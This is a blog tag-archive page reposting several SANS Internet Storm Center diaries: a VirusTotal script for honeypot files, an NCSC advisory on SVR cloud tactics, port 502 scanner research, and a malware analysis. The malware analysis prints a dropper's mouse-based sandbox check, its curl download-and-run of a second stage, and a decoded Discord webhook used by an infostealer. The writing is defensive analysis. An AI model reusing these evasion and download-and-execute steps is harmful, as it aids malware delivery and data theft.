Tag Archives: Security

Utilizing the VirusTotal API to Query Files Uploaded to DShield Honeypot [Guest Diary], (Sun, Feb 25th)

This post was originally published on this site

[This is a Guest Diary by Keegan Hamlin, an ISC intern as part of the SANS.edu BACS program]

Part of the SANS undergraduate program is a 20-week internship with the SANS Internet Storm Center. During that time, interns are tasked with setting up a DShield sensor to act as a honeypot, capturing data and generating logs for SSH/Telnet, Firewall activity, Web requests, and most interesting to me, file uploads. With those logs, we are expected to create attack observations, explaining what vulnerability is being exploited, what the attacker is attempting to accomplish, and how to defend against this attack. I wanted to give myself a project to help aid with creating these attack observations, and in my case, a way to quickly get information on the uploaded files. At the beginning of the internship, I had given myself a personal goal, which was to do something to build my Python skills. I thought this might be the opportunity to do that.

VirusTotal is a go-to source to upload or search for hashes of suspicious files and it is what I typically use when investigating files uploaded to the honeypot. They offer an API to automate this process, and it integrates well with Python.

Simple Command Line Query

I began by following the steps listed in the VirusTotal quick start page for their Python integration tool vt-py. [1]

You can install this package in several way, but I simply used pip:
$ pip install vt-py

After playing around with the tool in a Python interactive session, I wrote a simple script that takes a file hash as a command line argument:

import vt
import sys

try:
    file_hash = sys.argv[1]
except IndexError:
    print("ERROR: You must supply a file hash.")
    sys.exit(1)

# //// VIRUSTOTAL API KEY ////
API = # CHANGE THIS TO YOUR VIRUSTOTAL API KEY

client = vt.Client(API)

file = client.get_object(f"/files/{file_hash}")

analysis = file.last_analysis_stats

for x,y in analysis.items():
    print(x.title(),":",y)

client.close()

The output looks like this:

$ python vt_simple.py 57e9955208af9bc1035bd7cd2f7da1db19ea73857bea664375855f693a6280d8
Malicious : 37
Suspicious : 0
Undetected : 22
Harmless : 0
Timeout : 0
Confirmed-Timeout : 0
Failure : 1
Type-Unsupported : 15

This doesn’t give a whole lot of information, however while investigating an attack, it is a quick way to check to see if a file has been analyzed and is being tracked as malicious.

I wanted more though. I wanted a way to automate submissions of all the files within the Cowrie /downloads directory and output in a format that would make it easy to quickly scan to determine which files might need further analysis.

Full Scan of Cowrie Downloads Directory

There were a couple of things I needed to keep in mind before writing this script. For one, the VirusTotal API has limitations on the frequency and number of queries for a free-tier account. Those are 4 lookups/min, 500/day, 15.5 K/month. There is no way that I would hit the daily or monthly limits, but I had to make sure the script didn’t perform more than 4 queries a minute. Easy enough to manage by adding a pause between each lookup. However, depending on the number of files in the download’s directory, this does mean that the script will take some time to complete the first time it is run.

Another aspect that I wanted to keep in mind was that I did not want the script to query files that it had already retrieved data on. There might be some spaghetti coding going on here, but to prevent that from happening, I had the script make a separate file_hashes.txt file that holds all the hashes that have been used to query VirusTotal already.
In the Cowrie download directory, all the filenames should already be the SHA256 hash of the file. In my case, there were a few that were not. I had already added a try/except block in my function that queries VirusTotal so that if a query fails, it won’t send an error to the console and end the program. To cover my bases and ensure that an actual file hash gets submitted, I added an if/else block to check if the filename is equal to 64 characters. This might not be the best way, but it makes it so that the program isn’t needlessly hashing each file, especially considering most of them are already renamed to the appropriate file hash.

This led me down a path to figure out how to hash a file in Python. In the Linux terminal, it’s easy as running the sha256sum command and you get the hash. I already knew of the Python hashlib module but was unsure of how to implement it into hashing a file. After some Google searching, I came across a page that was exactly what I was looking for [2]. Here is the code:

# Python program to find SHA256 hash string of a file
import hashlib
 
filename = input("Enter the input file name: ")
sha256_hash = hashlib.sha256()
with open(filename,"rb") as f:
    # Read and update hash string value in blocks of 4K
    for byte_block in iter(lambda: f.read(4096),b""):
        sha256_hash.update(byte_block)
    print(sha256_hash.hexdigest())

Just for the sake of learning more, I asked ChatGPT how I would go about hashing a file in Python and it gave me an almost verbatim answer. I’m thinking either ChatGPT sourced its response from the page I found, or vice-versa. Either way, I got what I was looking for and learned a little bit about the process of hashing a file.

The output of this program is a simple database in the form of a CSV. Viewing it in the terminal is horrendous. Obviously transferring it out to a host machine is needed, either by scp or even nc, but I found it easy enough to copy/paste into a blank notepad, saving as a ‘.csv’ and opening in Excel (or CSV viewer of your choice). The results look like this:

For times that I would like to stay in the terminal and to take a quick glance at the database, I added a function in the program to output a second plain text document that formats it in a way that is legible. There’s no sorting capability, and it may not be the best looking, but it is nice to have a quick way to pull up and review while investigating attacks without having to leave the terminal. There were a couple of different ways to get a csv to pretty print in the terminal, like Pretty Tables, but I liked the way this looked. It isn’t my code, however. I found it in a Stack Overflow post [3]. It looks like this:

Both scripts can be found on my Github:
https://github.com/ham-sauce/vt_cowrie

By the time I implemented this script in my DShield sensor, it had already been running for several months, so I had quite a few files that needed processed, roughly 160. At 4 queries a minute, it took about 40 minutes for the initial run. Once the initial database is made, running the script again will not take nearly as long. The way I have been using it is to periodically run it every few days. If it takes longer than an instant to complete, then I know there is something new added to the downloads directory (there is also an alert printed to the console stating which hash is being queried). 

I really only scratched the surface of what can be done with the VirusTotal API. There is definitely room to refine this script, make it more robust and tweak it in a way to gather more data.

Next Steps: Simple Malware Analysis

Using the above output from the script, I want to try to find something interesting to investigate. I sort the list of files by ‘UNDETECTED’, as I feel that if a file is being reported as malicious, there are already plenty of analysis reports that I can look up.

In my case, many of these undetected files were not worth much more investigating, as many of them were simple ASCII text files containing one or two bash commands. But it’s a good starting point.

Static Analysis

I only do a couple of things in regard to static analysis, and I will accomplish this in the DShield terminal. 
First, I will run the file command on the file of interest, getting something like this:
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers

And then I will run the strings command. Which rarely gets back anything useful, but sometimes there will be a string or two worthwhile. Like the following:
$Info: This file is packed with the UPX executable packer http://upx.sf.net $

At this point, I will move the file to an analysis virtual machine, either FlareVM or REMNUX. To do this somewhat safely, I like to zip it and password protect it like so:
zip –password infected mal.zip </path/to/file>

And then scp it to my host of choice.

Dynamic/Behavioral Analysis

When I first started this post, I really wanted to get my hands on Mockingbird from Assured Information Security. [4] It is an automated malware analysis environment based off the Cuckoo Sandbox. I had used it at my previous job, and it is extremely easy to use. It comes pre-configured; all you must do is load it up in either ESXi or VMware Workstation. According to the data sheet, they have an evaluation copy available, but unfortunately the company never got back to me.

The official Cuckoo Sandbox is no longer supported. However, there are several forks available such as cuckoo3 [5] and CAPEv2 [6]. Setting either of those up is a bit of an undertaking, not for the faint of heart. I ran into issues that I couldn’t resolve in a timely manner, and it all seemed a bit out of scope for what I was trying to accomplish, so I abandoned this idea.

There are numerous web-based automated malware analyzers out there. Unfortunately, most of them only support Windows executable, at least in the free tier. And with the DShield honeypot being Linux based, pretty much any malware uploaded to it is going to be an ELF executable or bash script. Surprisingly, as I was writing this, ANY.RUN [7] released a Linux environment to analyze malware.

It is very simple to use. After creating an account and signing in, click the new task button:

Drag and drop your file into the window and select Ubuntu:

The app will then run the executable in an Ubuntu virtual environment and generate a report for review. There are numerous indicators that can be further investigated, such as process information which includes command line arguments, file activity, and network activity like connections made or DNS requests. At that point, you could correlate some of this data with other attacks made against the honeypot and possibly find even more rabbit holes to go down.

Final Thoughts

This is obviously not a full deep dive into malware analysis. My goal was to create a simple process for myself to assist with researching the events taking place on my DShield honeypot. There is plenty of room for this grow, and there is so much information out there on doing proper malware analysis.

[1] https://virustotal.github.io/vt-py/quickstart.html
[2] https://www.quickprogrammingtips.com/python/how-to-calculate-sha256-hash-of-a-file-in-python.html
[3] https://stackoverflow.com/questions/52520711/how-to-output-csv-data-to-terminal-with-python
[4] https://www.ainfosec.com/rd/mockingbird/
[5] https://github.com/cert-ee/cuckoo3
[6] https://github.com/kevoreilly/CAPEv2
[7] https://app.any.run/
[8] https://www.sans.edu/cyber-security-programs/bachelors-degree/

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Update: MGLNDD_* Scans, (Sat, Feb 24th)

This post was originally published on this site

Almost 2 years ago, a reader asked us about TCP connections they observed. The data of these TCP connections starts with "MGLNDD_": "MGLNDD_* Scans".

Reader Michal Soltysik reached out to us with an answer: MGLN is Magellan, RIPE Atlas Tools. RIPE Atlas employs a global network of probes that measure Internet connectivity and reachability.

Thanks to Michal for explaining this in a video.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

SVR Cyber Actors Adapt Tactics for Initial Cloud Access

This post was originally published on this site

How SVR-Attributed Actors are Adapting to the Move of Government and Corporations to Cloud Infrastructure

OVERVIEW

This advisory details recent tactics, techniques, and procedures (TTPs) of the group commonly known as APT29, also known as Midnight Blizzard, the Dukes, or Cozy Bear.

The UK National Cyber Security Centre (NCSC) and international partners assess that APT29 is a cyber espionage group, almost certainly part of the SVR, an element of the Russian intelligence services. The US National Security Agency (NSA), the US Cybersecurity and Infrastructure Security Agency (CISA), the US Cyber National Mission Force (CNMF), the Federal Bureau of Investigation (FBI), Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), the Canadian Centre for Cyber Security (CCCS), and New Zealand Government Communications Security Bureau (GCSB) agree with this attribution and the details provided in this advisory.

This advisory provides an overview of TTPs deployed by the actor to gain initial access into the cloud environment and includes advice to detect and mitigate this activity.

To download the PDF version of this report, click here.

PREVIOUS ACTOR ACTIVITY

The NCSC has previously detailed how Russian Foreign Intelligence Service (SVR) cyber actors have targeted governmental, think tank, healthcare, and energy targets for intelligence gain. It has now observed SVR actors expanding their targeting to include aviation, education, law enforcement, local and state councils, government financial departments, and military organizations.

SVR actors are also known for:

EVOLVING TTPs

As organizations continue to modernize their systems and move to cloud-based infrastructure, the SVR has adapted to these changes in the operating environment.

They have to move beyond their traditional means of initial access, such as exploiting software vulnerabilities in an on-premises network, and instead target the cloud services themselves.

To access the majority of the victims’ cloud hosted network, actors must first successfully authenticate to the cloud provider. Denying initial access to the cloud environment can prohibit SVR from successfully compromising their target. In contrast, in an on-premises system, more of the network is typically exposed to threat actors.

Below describes in more detail how SVR actors are adapting to continue their cyber operations for intelligence gain. These TTPs have been observed in the last 12 months.

ACCESS VIA SERVICE AND DORMANT ACCOUNTS

Previous SVR campaigns reveal the actors have successfully used brute forcing [T1110] and password spraying to access service accounts. This type of account is typically used to run and manage applications and services. There is no human user behind them so they cannot be easily protected with multi-factor authentication (MFA), making these accounts more susceptible to a successful compromise. Service accounts are often also highly privileged depending on which applications and services they’re responsible for managing. Gaining access to these accounts provides threat actors with privileged initial access to a network, to launch further operations.

SVR campaigns have also targeted dormant accounts belonging to users who no longer work at a victim organization but whose accounts remain on the system [T1078.004].

Following an enforced password reset for all users during an incident, SVR actors have also been observed logging into inactive accounts and following instructions to reset the password. This has allowed the actor to regain access following incident response eviction activities.

CLOUD-BASED TOKEN AUTHENTICATION

Account access is typically authenticated by either username and password credentials or system-issued access tokens. The NCSC and partners have observed SVR actors using tokens to access their victims’ accounts, without needing a password [T1528].

The default validity time of system-issued tokens varies dependent on the system; however, cloud platforms should allow administrators to adjust the validity time as appropriate for their users. More information can be found on this in the mitigations section of this advisory.

ENROLLING NEW DEVICES TO THE CLOUD

On multiple occasions, the SVR have successfully bypassed password authentication on personal accounts using password spraying and credential reuse. SVR actors have also then bypassed MFA through a technique known as “MFA bombing” or “MFA fatigue,” in which the actors repeatedly push MFA requests to a victim’s device until the victim accepts the notification [T1621].

Once an actor has bypassed these systems to gain access to the cloud environment, SVR actors have been observed registering their own device as a new device on the cloud tenant [T1098.005]. If device validation rules are not set up, SVR actors can successfully register their own device and gain access to the network.

By configuring the network with device enrollment policies, there have been instances where these measures have defended against SVR actors and denied them access to the cloud tenant.

RESIDENTIAL PROXIES

As network-level defenses improve detection of suspicious activity, SVR actors have looked at other ways to stay covert on the internet. A TTP associated with this actor is the use of residential proxies [T1090.002]. Residential proxies typically make traffic appear to originate from IP addresses within internet service provider (ISP) ranges used for residential broadband customers and hide the true source. This can make it harder to distinguish malicious connections from typical users. This reduces the effectiveness of network defenses that use IP addresses as indicators of compromise, and so it is important to consider a variety of information sources such as application and host-based logging for detecting suspicious activity.

CONCLUSION

The SVR is a sophisticated actor capable of carrying out a global supply chain compromise such as the 2020 SolarWinds, however the guidance in this advisory shows that a strong baseline of cyber security fundamentals can help defend from such actors.

For organizations that have moved to cloud infrastructure, a first line of defense against an actor such as SVR should be to protect against SVR’s TTPs for initial access. By following the mitigations outlined in this advisory, organizations will be in a stronger position to defend against this threat.

Once the SVR gain initial access, the actor is capable of deploying highly sophisticated post compromise capabilities such as MagicWeb, as reported in 2022. Therefore, mitigating against the SVR’s initial access vectors is particularly important for network defenders.

CISA have also produced guidance through their Secure Cloud Business Applications (SCuBA) Project which is designed to protect assets stored in cloud environments.

Some of the TTPs listed in this report, such as residential proxies and exploitation of system accounts, are similar to those reported as recently as January 2024 by Microsoft.

MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic ID Technique Procedure

Credential Access

T1110

Brute Force

The SVR use password spraying and brute forcing as an initial infection vector.

Initial Access

T1078.004

Valid Accounts: Cloud Accounts

The SVR use compromised credentials to gain access to accounts for cloud services, including system and dormant accounts.

Credential Access

T1528

Steal Application Access Token

The SVR use stolen access tokens to login to accounts without the need for passwords.

Credential Access

T1621

Multi-Factor Authentication Request Generation

The SVR repeatedly push MFA requests to a victim’s device until the victim accepts the notification, providing SVR access to the account.

Command and Control

T1090.002

Proxy: External Proxy

The SVR use open proxies in residential IP ranges to blend in with expected IP address pools in access logs.

Persistence

T1098.005

Account Manipulation: Device Registration

The SVR attempt to register their own device on the cloud tenant after acquiring access to accounts.

MITIGATION AND DETECTION

A number of mitigations will be useful in defending against the activity described in this advisory: 

  • Use multi-factor authentication (/2-factor authentication/two-step verification) to reduce the impact of password compromises. See NCSC guidance: Multifactor Authentication for Online Services and Setting up 2-Step Verification (2SV).
  • Accounts that cannot use 2SV should have strong, unique passwords. User and system accounts should be disabled when no longer required with a “joiners, movers, and leavers” process in place and regular reviews to identify and disable inactive/dormant accounts. See NCSC guidance: 10 Steps to Cyber Security.
  • System and service accounts should implement the principle of least privilege, providing tightly scoped access to resources required for the service to function.
  • Canary service accounts should be created which appear to be valid service accounts but are never used by legitimate services. Monitoring and alerting on the use of these account provides a high confidence signal that they are being used illegitimately and should be investigated urgently.
  • Session lifetimes should be kept as short as practical to reduce the window of opportunity for an adversary to use stolen session tokens. This should be paired with a suitable authentication method that strikes a balance between regular user authentication and user experience.
  • Ensure device enrollment policies are configured to only permit authorized devices to enroll. Use zero-touch enrollment where possible, or if self-enrollment is required then use a strong form of 2SV that is resistant to phishing and prompt bombing. Old devices should be prevented from (re)enrolling when no longer required. See NCSC guidance: Device Security Guidance.
  • Consider a variety of information sources such as application events and host-based logs to help prevent, detect and investigate potential malicious behavior. Focus on the information sources and indicators of compromise that have a better rate of false positives. For example, looking for changes to user agent strings that could indicate session hijacking may be more effective than trying to identify connections from suspicious IP addresses. See NCSC guidance: Introduction to Logging for Security Purposes.

DISCLAIMER

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.

All material is UK Crown Copyright.

Simple Anti-Sandbox Technique: Where's The Mouse?, (Fri, Feb 23rd)

This post was originally published on this site

Malware samples have plenty of techniques to detect if they are running in a "safe" environment. By safe, I mean a normal computer with a user between the keyboard and the chair, programs running, etc. These techniques are based on checking the presence of specific processes, registry keys, or files. The hardware can also be a good indicator (are some devices present or not?)

Some techniques rely on basic checks that can be easily implemented in a simple Windows script (.bat) file. I found an interesting one that performs a basic check before downloading the next payload. The file has the following SHA256 hash: 460f956ecb4b54518be32f2e48930187356301013448e36414c2fb0a1815a2cb[1]

set "mouseConnected=false"

for /f "tokens=2 delims==" %%I in ('wmic path Win32_PointingDevice get PNPDeviceID /value ^| find "PNPDeviceID"') do (
    set "mouseConnected=true"
)

if not !mouseConnected! == true (
    exit /b 1
)

The script uses the WMI ("Windows Management Instrumentation") client to query the hardware and filter interesting devices. Here is an output generated on a regular computer:

C:UsersREMDesktop>wmic path Win32_PointingDevice get PNPDeviceID /value

PNPDeviceID=ACPIPNP0F134&amp;1BD7F811&amp;0

PNPDeviceID=USBVID_0E0F&amp;PID_0003&amp;MI_017&amp;12E62A01&amp;0&amp;0001

PNPDeviceID=USBVID_0E0F&amp;PID_0003&amp;MI_007&amp;12E62A01&amp;0&amp;0000

Indeed some basic sandboxes do not have a mouse connected to them. Easy trick! Note that, in a lot of organizations, access to the "wmic" tool is prohibited for normal users because it can be used to perform a lot of sensitive actions.

If no mouse is detected, the script will fetch its copy of a minimal Python environment and install it:

set "eee=https://www.python.org/ftp/python/3.10.0/python-3.10.0rc2-amd64.exe"
set "eeee=python-installer.exe"
curl -L -o !eeee! !eee! --insecure --silent
start /wait !eeee! /quiet /passive InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0 > NUL 2>&1
del !eeee!

Finally, it will download and execute the second stage:

set "ENCODED_URL=hxxps://rentry[.]co/zph33gvz/raw
set "OUTPUT_FILE=webpage.py"
curl -o %OUTPUT_FILE% -s %ENCODED_URL% --insecure
if %ERRORLEVEL% neq 0 (
    echo Error: Failed to download the webpage.
    exit /b 1
)
python -m %OUTPUT_FILE%
del %OUTPUT_FILE%

The second stage is another InfoStealer. Nothing special except the way the DIscord channel used as C2 is obfuscated:

webhook = b'xc8~~xc9(T>>x10x1e(x82=xa1x10x95x82=$>xbcxc9x1e>lM1xc8=={(>xb08-Z-xb3-x8b8x8bx1bxb0xb3xb0xb08x87Zx8b>xf91xe0f&x82gxe0xa7gx98xf0Yxd60xcdXxb4xb4xfexa6xc9xc9l~Y(gxf8x1c&x82xd6Nfx87exe0xf7)xf70e_,8xfexa6Zx1cxe28Mxaf_xc6,1Exf7N_xf2,_x1bne',b'x.x8dV+xb1cx94x9cwxb5x8ct]x12rx91[5yx8ax15Lxe5Bqxd0xa5x0cxd9xe8x9fxddx93Jxd4x88xb8x84xa3Kx02x0fxa8Ex95>-xb08x87x8bx1bxb3xf2x18ZTGx16xb2ixcfx11xb4xf7x07x1cuOYxcdxe0_,m&xf0xaaXxfeWxafx90xf9xc6xaexf8x08nx7fxabx014ex9axbc1x82x10M)fxc8x1exd6{g$xe2=xc9x98xa1(~Nxc5lxa6xa70xba/x053xb6bxfd"xdexa4hx9bIdxc1xc4xb9x96xf3x83x06xbd2Hxc7xc0xd5zxa0x99aoxefx13rx1dP7x14vxa2xeekxebxe1xbf9}:Rxe7'xbb<DQx9e^xfcxad%x8ex1fx97xc2Ux19x86x17x81xffxeaxfax9dFxa9p!xcc#xc3Cx85xdc|xf5j;xbeAxecxe4x80xd2xf4Sxb7xdbxe9x89xcbxd76x0bxe3`@x92x03xf1sxfbnxf6xd1xdaxd3x0exd8tx00x8fxedxe6xac xdfx04xca?*x1axce'

Is it decrypted using this simple function:

def DeobfuscateWeb(encrypted_text, key):
    decrypted = [0] * 256
    for i, char in enumerate(key):
        decrypted[char] = i

    decrypted_text = []
    for char in encrypted_text:
        decrypted_char = decrypted[char]
        decrypted_text.append(decrypted_char)

    return bytes(decrypted_text)

and returns "hxxps://discord[.]com/api/webhooks/1209060424516112394/UbIgMclIylqNGjzHPAAQxppwtGslXDMcjug3_IBfBz_JK2Qx9Dn2eSJVKb-BuJ7KJ5Z_"

[1] https://www.virustotal.com/gui/file/460f956ecb4b54518be32f2e48930187356301013448e36414c2fb0a1815a2cb/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Large AT&#x26;T Wireless Network Outage #att #outage, (Thu, Feb 22nd)

This post was originally published on this site

Beginning this morning, AT&T's cellular network suffered a major outage across the US. At this point, AT&T has not made any statement as to the nature of the outage. It is far too early to speculate. In the past, similar outages were often caused by misconfigurations or technology failures.

What makes the outage specifically significant is that phones cannot connect to cell towers in some areas. This means you cannot make any calls, send or receive SMS messages, or reach emergency services. Some iPhones display the "SOS" indicator, which is displayed if the phone is able to make emergency-only calls via another provider's network. For some newer iPhones, satellite services may be used.

As a workaround, WiFi calling is still reported to work. If you do have an internet connection via a different provider and are able to enable WiFi calling, you will be able to make and receive calls.

Note that this will affect many devices like location trackers, alarm systems, or other IoT devices that happen to use AT&T's network. This could have security implications if you rely on these devices to monitor remote sites.

Some users are reporting that service has already been restored in their area, but without an official statement from AT&T, it is hard to predict how long service restoration will take. For your own planning purposes, I would assume it will be several hours for the service to be fully restored.

Some other workarounds to consider:

  • Many modern phones will allow for a second eSIM to be installed. T-Mobile and WiFi sometimes offer free trials of their network, and it may get you going for the day.
  • As mentioned above, WiFi calling is reported to work.
  • Get a data-only eSIM with a low-cost provider with enough data to "survive" the day.

For resiliency, it is always best to have a secondary internet connection available. In many cases, the cellular connection is your secondary connection. The outage also effects AT&T resellers (MVNOs) like Cricket, Consumer Celular, and Straight Talk.


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

[Guest Diary] Friend, foe or something in between? The grey area of 'security research', (Thu, Feb 22nd)

This post was originally published on this site

[This is a Guest Diary by Rachel Downs, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].

Scanning on port 502

I’ve been running my DShield honeypot for around 3 months, and recently opened TCP port 502. I was looking for activity on this port as it could reveal attacks targeted towards industrial control systems which use port 502 for Modbus TCP, a client/server communications protocol. As with many of my other observations, what started out as an idea to research one thing soon turned into something else, and ended up as a deep dive into security research groups and the discovery of a lack of transparency about their actions and intent.

I analysed 31 days of firewall logs between 2023-12-05 and 2024-01-04. Over this period, there were 197 instances of scanning activity on port 502 from 179 unique IP addresses.

 

Almost 90% of scanning came from security research groups

Through AbuseIPDB [2] and GreyNoise [3], I assigned location, ISP and hostname data (where available) to each IP address. GreyNoise assigns actors to IP addresses and categorises these as benign, unknown or malicious. Actors are classified as benign when they are a legitimate company, search engine, security research organisation, university or individual, and GreyNoise has determined the actor is not malicious in nature. Actors are classified as malicious if harmful behaviours have been directly observed by GreyNoise, and if an actor is not classified as benign or malicious it is marked as unknown [4]. 

I used this classification, additional data from AbuseIPDB, and the websites of self-declared security research groups to categorise the scanning activity observed in my honeypot firewall logs.

 

89% of the total scanning activity was attributed to security research groups, 3% was attributed to known malicious actors and 8% was unknown.

Who are these researchers, and why are they scanning?

Almost half of the activity classified as security research came from two groups: Stretchoid and Censys. Other frequently observed groups included Palo Alto Networks, Shadowserver Foundation, InterneTTL, Cyble and the Academy for Internet Research. The remaining groups were only observed scanning port 502 once or twice each, including Shodan.

 

The motivations of these different research groups varies, and for some their purpose is unclear or unstated. Some are academic research projects, some are commercial organisations collecting data to feed into their products and services, and others are less clear.

Stretchoid was the most active actor identified, accounting for 25% of security research activity. There is very little information available about them, aside from an opt-out page. The page states “Stretchoid is a platform that helps identify an organisation’s online services. Sometimes this activity is incorrectly identified by security systems, such as firewalls, as malicious. Our activity is completely harmless” [5]. However, there is a lack of transparency around the organisation responsible for Stretchoid and as such, online discussions about them urge caution around submitting data through the opt-out form [6].

Censys conducts internet-wide scanning to collect data for its security products and datasets [7].

Palo Alto Networks were able to be identified using the ISP name, however they did not enable reverse DNS lookup for hostnames to identify the scanner being used. These IP addresses are marked as benign in GreyNoise and attributed to Palo Alto’s Cortex Xpanse product.

Shadowserver Foundation describe themselves as “a nonprofit security organisation working altruistically behind the scenes to make the internet more secure for everyone” [8].

InterneTTL’s website was not active at the time of this report, however GreyNoise points to it being a security research organisation that regularly mass-scans the internet [9].

Cyble describes its ODIN product as “one of the most powerful search engines for internet scanned assets”. It carries out host searches, asset discovery, port scanning, service identification, vulnerability detection and certificate analysis [10].

The Academy for Internet Research’s website states they are “a group of security researchers that wish to make the internet free, safe and accessible to all” [11].

bufferover.run is identified by GreyNoise as a commercial organisation that performs domain name lookups for TLS certificates in IPv4 space. GreyNoise has marked this actor as benign but it is unclear why they are carrying out port scanning activity [12].

Crowdstrike was seen twice via scans from Crowdstrike Falcon Surface (Reposify), which they describe as “the world’s leading AI-native platform for unified attack surface management” [13].

SecurityTrails is a Recorded Future company offering APIs and data services for security teams [14].

Shodan scanners were seen twice. These are used to capture data for Shodan’s search engine for internet-connected devices [15].

Alpha Strike Labs is a German security research company producing open source intelligence about attack surfaces using global internet scans. They claim to maintain more than 2000 IPv4 addresses for scanning [16].

BinaryEdge “scan the entire public internet, create real-time threat intelligence streams and reports the show the exposure of what is connected to the internet” [17].

CriminalIP is an internet-exposed device search engine run by AI Spera [18].

Internet Census Group is led by BitSight Technologies Inc and states data is collected to “analyse trends and benchmark security performance across a broad range of industries” [19].

Internet Measurement is operated by driftnet.io and is used to “discover and measure services that network owners and operators have publicly exposed”. They offer free access to an external view of your network from the data they have gathered [20].

Onyphe describes itself as a “cyber defence search engine” [21]. They provide an FAQ about their scanning on their website.

The Technical University of Denmark’s research project aims to identify “digital ghost ships” [22], devices which appear to be abandoned and un-maintained.

A lack of transparency

The UK's National Cyber Security Centre (NCSC), when launching its own internet scanning capability, provided some transparency and scanning principles [23] that they committed to following, and encouraged other security researchers to do the same:

  • Publicly explain the purpose and scope of the scanning system
  • Mark activity so that it can be traced back to the scanning system being used
  • Audit scanning activity so abuse reports can be easily and confidently assessed
  • Minimise scanning activity to reduce impact on target resources
  • Ensure opt-out requests are simple to send and processed quickly

Adherence to these principles varied between the research groups observed, but was generally quite poor among the more prolific scanners in this observation. It was not possible to observe whether research groups were auditing scanning activity, so this is not rated in the table below.

Fig 4: An analysis of security research groups’ adherence to NCSC’s ethical scanning principles
 

Fig 5: A guide to the ratings used in Fig 4

 

This lack of transparency makes it difficult to determine whether this activity is truly benign.

Good practice is demonstrated by Onyphe, who provide information about their scanning and their “10 commandments for ethical internet scanning” on their website. Along with the Technical University of Denmark, they also provide a web server on each of their probes which explains the purpose, intent and the ability to opt out.  

Why does this matter?

The volume of scanning activity related to security research is significant, and has an impact on honeypot data. This has been discussed in a previous ISC blog post by Johannes Ullrich, “The Impact of Researchers on Our Data” [24]. Quick and accurate identification and filtering of research activity enables honeypot operators to more rapidly identify malicious activity, or activity that requires further investigation.

Equally, the presence of honeypot data in security research scans impacts the conclusions that will be drawn by researchers about the presence of open ports and vulnerable systems, and the estimated scale of these issues.

Although researchers themselves may not be using the data collected for malicious purposes, they may lose control of how the data is used once it is shared or sold elsewhere. For example, Shodan scanning activity is classed as security research, however the resulting data can be used by attackers to find vulnerable targets. 

Some of the organisations involved in this scanning are profiting from the data collected from your systems, utilising your resources to do this. Ethical researchers should allow you to opt-out of this data collection.

Security research is a broad term, and the intent behind scanning activity is not always clear. This makes security research something of a grey area, and means transparency is key in order for informed decisions to be made.

What should I do?

As a honeypot operator, or someone responsible for monitoring internet-facing systems, you may decide to reduce scanning noise by blocking security research traffic. This is made difficult when researchers don’t publish the IP addresses they use, or don’t provide the ability to opt-out. To help with this, the ISC provides a feed of IP addresses used by researchers through their API [25].

All activity relating to Stretchoid, the most active research group in this observation, originated from DigitalOcean. Some users recommend blocking DigitalOcean’s IP ranges (unless this is required for your organisation) as an alternative to opting out. 

A number of GitHub projects also exist to track the IP ranges of Stretchoid and other security research groups, such as szepevictor’s stretchoid.ipset [26].

Research groups could do more to build trust and help security teams separate benign activity from malicious. If you carry out internet scanning activities, it’s a good idea to follow the NCSC guidance discussed in this blog post to maintain transparency and allow others to make informed decisions about allowing or blocking your scans. 

Enabling reverse DNS and using hostnames that identify your organisation or scanner is a good way to make your scanning activity identifiable, and an informative web page with a clear explanation of the purpose of data collection, including the ability to opt out, helps demonstrate your positive intentions. 

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://www.abuseipdb.com
[3] https://www.greynoise.io
[4] https://docs.greynoise.io/docs/understanding-greynoise-classifications
[5] https://stretchoid.com/
[6] https://www.reddit.com/r/cybersecurity/comments/10w2eab/stretchoid_phishing_and_recon_campaign/
[7] https://about.censys.io/
[8] https://www.shadowserver.org/
[9] https://viz.greynoise.io/tag/internettl?days=1
[10] https://getodin.com/
[11] https://academyforinternetresearch.org/
[12] https://viz.greynoise.io/tag/bufferover-run?days=1
[13] https://www.crowdstrike.com/products/exposure-management/falcon-surface/
[14] https://securitytrails.com/
[15] https://www.shodan.io/
[16] https://www.alphastrike.io/en/how-it-works/
[17] https://www.binaryedge.io/
[18] https://www.criminalip.io/
[19] https://www.internet-census.org/home.html
[20] https://internet-measurement.com/
[21] https://www.onyphe.io/about
[22] https://www.dtu.dk/english/newsarchive/2023/01/setting-out-to-sink-the-internets-digital-ghost-ships
[23] https://www.ncsc.gov.uk/blog-post/scanning-the-internet-for-fun-and-profit
[24] https://isc.sans.edu/diary/The+Impact+of+Researchers+on+Our+Data/26182
[25] https://isc.sans.edu/api/threatcategory/research (append “?json” or “?tab” to view in JSON or tab delimited format)
[26] https://github.com/szepeviktor/debian-server-tools/blob/master/security/myattackers-ipsets/ipset/stretchoid.ipset


Jesse La Grew
Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Phishing pages hosted on archive.org, (Wed, Feb 21st)

This post was originally published on this site

